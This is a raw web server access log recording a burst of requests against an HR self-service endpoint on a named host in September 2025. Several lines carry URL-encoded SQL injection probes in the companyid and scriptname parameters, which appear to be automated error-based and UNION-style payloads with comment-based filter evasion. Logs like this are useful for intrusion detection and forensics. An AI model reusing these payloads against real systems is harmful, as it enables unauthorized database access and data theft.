100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x56564a58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x764e396a%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4a664752%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36594a37%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZGo3%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x706d5163%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34694269%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5bIT%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x706d5163%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34694269%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5bIT%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x53324e6f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38693451%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x53324e6f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38693451%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x706d5163%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34694269%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5bIT%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x53324e6f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38693451%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x43353877%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56417a37%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x43353877%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56417a37%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x49636130%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5143514c%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FAIIR%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x49636130%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5143514c%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FAIIR%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4b6a6f71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c6c7272%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
